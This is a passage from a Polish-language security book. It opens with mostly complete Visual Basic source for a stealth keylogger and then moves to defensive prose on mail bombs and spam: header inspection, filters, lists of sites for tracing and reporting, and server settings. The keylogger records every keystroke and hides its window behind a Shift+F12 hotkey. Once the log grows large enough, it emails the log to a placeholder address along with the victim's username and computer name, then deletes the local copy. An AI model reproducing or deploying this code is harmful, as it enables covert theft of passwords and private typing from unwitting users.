`aktywacja formularza poprzez shift + f12
Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)
'klawisze do przechwycenia
keystate = Getasynckeystate(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "a"
End If
keystate = Getasynckeystate(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "b"
End If
keystate = Getasynckeystate(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "c"
End If
keystate = Getasynckeystate(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "D"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "d"
End If
keystate = Getasynckeystate(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "e"
End If
keystate = Getasynckeystate(vbKeyF)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "f"
End If
keystate = Getasynckeystate(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "g"
End If
keystate = Getasynckeystate(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "h"
End If
keystate = Getasynckeystate(vbKeyI)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "i"
End If
keystate = Getasynckeystate(vbKeyJ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "j"
End If
keystate = Getasynckeystate(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "k"
End If
keystate = Getasynckeystate(vbKeyL)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "l"
End If
keystate = Getasynckeystate(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "m"
End If
keystate = Getasynckeystate(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "n"
End If
keystate = Getasynckeystate(vbKeyO)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "O"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "o"
End If
keystate = Getasynckeystate(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "p"
End If
keystate = Getasynckeystate(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "q"
End If
keystate = Getasynckeystate(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "r"
End If
keystate = Getasynckeystate(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "s"
End If
keystate = Getasynckeystate(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "t"
End If
keystate = Getasynckeystate(vbKeyU)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "u"
End If
keystate = Getasynckeystate(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "v"
End If
keystate = Getasynckeystate(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "w"
End If
keystate = Getasynckeystate(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "x"
End If
keystate = Getasynckeystate(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "y"
End If
keystate = Getasynckeystate(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Text1 = Text1 + "z"
End If
keystate = Getasynckeystate(vbKey1)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "!"
End If
keystate = Getasynckeystate(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "@"
End If
keystate = Getasynckeystate(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "#"
End If
keystate = Getasynckeystate(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "$"
End If
keystate = Getasynckeystate(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "%"
End If
keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "^"
End If
keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "&"
End If
keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If
keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "("
End If
keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ")"
End If
keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{bkspc}"
End If
keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{tab}"
End If
keystate = Getasynckeystate(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + vbCrLf
End If
keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{shift}"
End If
keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ctrl}"
End If
keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{alt}"
End If
keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{pause}"
End If
keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{esc}"
End If
keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + " "
End If
keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{end}"
End If
keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{home}"
End If
keystate = Getasynckeystate(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{left}"
End If
keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{right}"
End If
keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{up}"
End If
keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{down}"
End If
keystate = Getasynckeystate(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{insert}"
End If
keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Delete}"
End If
keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ";"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ":"
End If
keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "="
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If
keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ","
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "<"
End If
keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "_"
End If
keystate = Getasynckeystate(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + ">"
End If
keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "?"
End If
keystate = Getasynckeystate(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "~"
End If
keystate = Getasynckeystate(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "["
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{"
End If
keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "|"
End If
keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "]"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "}"
End If
keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + Chr$(34)
End If
keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "*"
End If
keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "/"
End If
keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "+"
End If
keystate = Getasynckeystate(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "-"
End If
keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Del}"
End If
keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F1}"
End If
keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F2}"
End If
keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F3}"
End If
keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F4}"
End If
keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F5}"
End If
keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F6}"
End If
keystate = Getasynckeystate(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F7}"
End If
keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F8}"
End If
keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F9}"
End If
keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F10}"
End If
keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F11}"
End If
keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text1 = Text1 + "{F12}"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Form1.Visible = True
End If
keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{NumLock}"
End If
keystate = Getasynckeystate(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{ScrollLock}"
End If
keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PrintScreen}"
End If
keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{PageUp}"
End If
keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "{Pagedown}"
End If
keystate = Getasynckeystate(vbKeyNumpad1)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "1"
End If
keystate = Getasynckeystate(vbKeyNumpad2)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "2"
End If
keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "3"
End If
keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "4"
End If
keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "5"
End If
keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "6"
End If
keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "7"
End If
keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "8"
End If
keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "9"
End If
keystate = Getasynckeystate(vbKeyNumpad0)
If (keystate And &H1) = &H1 Then
Text1 = Text1 + "0"
End If
End Sub
Private Sub Timer2_Timer()
Dim lfilesize As Long, txtlog As String, success As Integer
Dim from As String, name As String
Open logfile For Append As #1
Write #1, Text1
Close #1
Text1.Text = ""
lfilesize = FileLen(logfile)
If lfilesize >= 4000 Then
Text2 = ""
inform
Open logfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
Wend
Close #1
txtstatus = ""
Call StartWinsock("")
success = smtp("mail.smtpserver.net", "25", "ktos@serwer_poczty.com", "ktos@serwer_poczty.com", "log file", "Tigerlog",
"ktos@serwer_poczty.com", "l o g f i l e", Text2)
'wysyła zawartość dziennika do ktos@serwer_poczty.com
If success = 1 Then
Kill logfile
End If
Call closesocket(mysock)
End If
End Sub
Public Sub FormOntop(FormName As Form)
Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, flags)
End Sub
Function GetCaption(WindowHandle As Long) As String
Dim Buffer As String, TextLength As Long
TextLength& = GetWindowTextLength(WindowHandle&)
Buffer$ = String(TextLength&, 0&)
Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
GetCaption$ = Buffer$
End Function
Sub inform()
Dim szUser As String * 255
Dim vers As String * 255
Dim lang, lReturn, comp As Long
Dim s, x As Long
lReturn = GetUserName(szUser, 255)
comp = GetComputerName(vers, 1024)
Text2 = "Username- " & szUser
Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub
|
Pokazane w tym rozdziale programy i towarzyszące pliki modułów są dostępne na dołączonym do tej książki CD-ROM-ie. |
Ochrona przed bombardowaniem poczty i spamowaniem
Poczta elektroniczna stała się w ostatnich latach gwiazdą komunikacji technologicznej zarówno w sektorze prywatnym, jak i korporacyjnym. Z tą popularnością jest jednak związany fakt, iż im więcej ludzi korzysta z e-maila, tym więcej ofiar różnorodnych ataków hakerów. Stanie się ofiarą bomby pocztowej lub spamu stało się praktycznie rytuałem inicjacyjnym wszystkich użytkowników poczty. Na szczęście istnieją środki zaradcze zapobiegające zarówno niewinnym, jak i bardzo złośliwym atakom. W tej części przyjrzymy się dokładnie różnym zabezpieczeniom — od technik zespołu Tiger Team do ochrony serwera. Zaczniemy jednak od dokładnego sklasyfikowania bomby pocztowej i spamu.
Bomby pocztowe to wiadomości elektroniczne, które są zwykle używane do zablokowania skrzynki pocztowej odbiorcy przez wysłanie niepożądanej poczty przy użyciu bramy SMTP odbiorcy. Bomby pocztowe mogą przybrać formę jednego e-maila z ogromnym załącznikiem lub tysięcy wiadomości elektronicznych, które mają na celu przepełnienie skrzynki pocztowej i serwera.
Spamowanie to próba doręczenia wiadomości elektronicznej do osoby, która nie chciała jej otrzymać i nie prosiła o jej dostarczenie. Najbardziej typowym przykładem jest rozsyłanie reklam. Inną formą spamu jest oszustwo, kiedy to napastnik podaje w polu From (Od) wiadomości adres pocztowy innej osoby, a następnie wysyła masowo e-maile, prosząc o odpowiedź na adres ofiary. Takie oszustwo może przybrać jeszcze bardziej zaawansowaną formę, gdy haker wyśle takie fałszywe wiadomości przy użyciu serwera pocztowego ofiary.
Z perspektywy użytkownika najlepiej widocznym świadectwem spamu są nagłówki wiadomości, które zawierają rzeczywistą trasę e-maila od nadawcy do odbiorcy (patrz rysunek 2.9). Domyślnie te informacje są zwykle ukryte; większość odbiorców chce widzieć tylko temat i treść wiadomości. Praktycznie wszystkie programy pocztowe oferują jednak opcję podglądu pełnych nagłówków wiadomości, co pokazano na rysunku 2.10.
Rysunek 2.9.
Widoczne w nagłówkach
|
|
Rysunek 2.10. Wybór opcji pokazującej pełne nagłówki wiadomości w programach pocztowych Pegasus i Microsoft Outlook
|
|
Śledząc autoryzowaną i pożądaną pocztę, możemy szybko odfiltrować wiadomości, które są prawdopodobnie spamem lub oszustwem. Dla przykładu przyjrzyjmy się nagłówkom pokazanym na rysunku 2.9 — ta wiadomość może być zweryfikowana jako pożądana, ponieważ dane wskazują, iż adresy sender@saddress.com i receiver@ raddress.com zostały uwierzytelnione i przekazane przez serwery poczty smtp.local-domain.com i smtp-1.saddress.com. Przyjmijmy jednak, iż nadawca sender@saddress. com rozsyła spam lub niepożądane wiadomości. Możliwe jest szybkie odfiltrowanie tego adresu przy użyciu filtrów dostępnych w większości obecnych programów pocztowych (patrz rysunek 2.11). Niektóre z nich, a w szczególności te wykorzystujące frontony WWW, oferują automatyczną funkcję blokowania prostym kliknięciem. Przykładem są opcje Yahoo (mail.yahoo.com) pokazane na rysunku 2.12. Na witrynach TuCows (www.tucows.com) i C|Net (download.cnet.com) znajdziemy wiele programów antyspamowych, gotowych do pobrania, które są zgodne z wieloma platformami.
Jednakże zablokowanie spamera może nie wystarczyć. Być może zdecydujesz się na całkowite zatrzymanie jego działań, wysłając informację do jego dostawcy usług internetowych. Zbadanie nagłówków i zawartości wiadomości może dostarczyć informacji, jak tego dokonać. Dla przykładu wykonanie funkcji Whois przez odpowiednią stronę internetową lub prześledzenie trasy do bramy SMTP spamera może pomóc w zebraniu informacji o dostawcy Internetu. Uzbrojeni w kopię takiej wiadomości oraz zebrane informacje o dostawcy możemy zgłosić incydent. Poniższa lista internetowych usług pomoże Ci w trakcie krucjaty przeciwko spamerom:
IDENTYFIKACJA SPAMERA:
http://www.anywho.com
http://www.yellowpages.com
http://www.555-1212.com
http://www.databaseamerica.com
http://www.infospace.com/info/reverse.htm
http://www.theultimates.com/white
http://inter800.com
http://canada411.sympatico.ca
http://www.phonenumbers.net
Rysunek 2.11. Zastosowanie filtra do zablokowania spamera w programie Pegasus |
|
Rysunek 2.12. Wiele klientów poczty wykorzystujących przeglądarki ma proste mechanizmy blokowania przez wskazanie i kliknięcie |
|
ŚLEDZENIE SPAMERA:
http://samspade.org
http://www.thegrid.net/jabberwock/spam
http://combat.uxn.com
http://Network-Tools.com
http://www.domainwatch.com
http://www.rwhois.net
http://www.networksolutions.com
http://net.yahoo.com/cgi-bin/trace.sh
http://www.tsc.com/bobp-bin/traceroute
http://www.multitrace.com
http://www.va.pubnix.com/bin/tc
ZGŁASZANIE INCYDENTU:
http://www.abuse.net
http://spamcom.net
ZASOBY:
Grupy dyskusyjne USENET:
news.admin.net-abuse.bulletins
news.admin.net-abuse.email
news.admin.net-abuse.misc
news.admin.net-abuse.policy
news.admin.net-abuse.sightings
news.admin.net-abuse.usenet
pl.news.mordplik
W przypadku serwera zalecana jest modyfikacja kontaktowych skrzynek pocztowych, których adresy znajdują się na witrynie WWW, polegająca na utworzeniu ogólnych kont dla niepożądanej poczty. Może to spowodować redukcję spamu otrzymywanego przez wewnętrznych użytkowników za pomocą odfiltrowania wiadomości z publicznych skrzynek pocztowych. Ale ochrona przed niepożądaną pocztą i spamem to tylko początek. Na szczęście większość obecnych demonów serwerów poczty zawiera funkcję ochrony przed bombami pocztowymi. Szczegóły dotyczące odpowiedniej konfiguracji można znaleźć w podręczniku użytkownika programu. Te informacje będą obejmowały aspekty konfiguracji wymienione niżej.
Uwierzytelnianie — demon powinien być skonfigurowany na akceptację tylko lokalnej lub wewnętrznej poczty do przekazywania poczty SMTP.
Blokowanie — zaawansowane filtrowanie umożliwia podanie wiadomości, które mają być zablokowane dla kont; demon powinien pozwalać użytkownikom na podanie różnych kryteriów dla wiadomości.
Sprawdzanie — demon powinien być skonfigurowany na akceptację załączników o ograniczonej wielkości.
Sortowanie — użytkownicy powinni mieć możliwość podania zasad sortowania swojej poczty; dla przykładu wiadomości z domeny firmy powinny być przesyłane do służbowej skrzynki pocztowej.
Jednym z narzędzi, zaprojektowanych przede wszystkim do usuwania bomb pocztowych z serwera, jest BombSquad (patrz rysunek 2.13). To narzędzie umożliwia usuwanie bomb pocztowych, odczytując i zapisując ważne wiadomości. Można je wykorzystać w skrzynkach pocztowych obsługujących standardowy protokół POP3. Więcej informacji na temat tych środków zabezpieczających można znaleźć w biuletynie informacyjnym CIAC na stronie http://ciac.llnl.gov/ciac/
Ochrona przed łamaniem haseł
Większość programów dla użytkowników, aplikacji udostępniających dane użytkownikom i paneli administracyjnych udostępnia jakąś formę uwierzytelniania przy użyciu hasła, a wiele z nich zawiera także użyteczne procedury szyfrowania. W pierwszym tomie tej książki zbadaliśmy typowy schemat hasła systemu operacyjnego. Dla przypomnienia,
Rysunek 2.13. Rozbrajanie bomb pocztowych przy użyciu narzędzia BombSquad
|
|
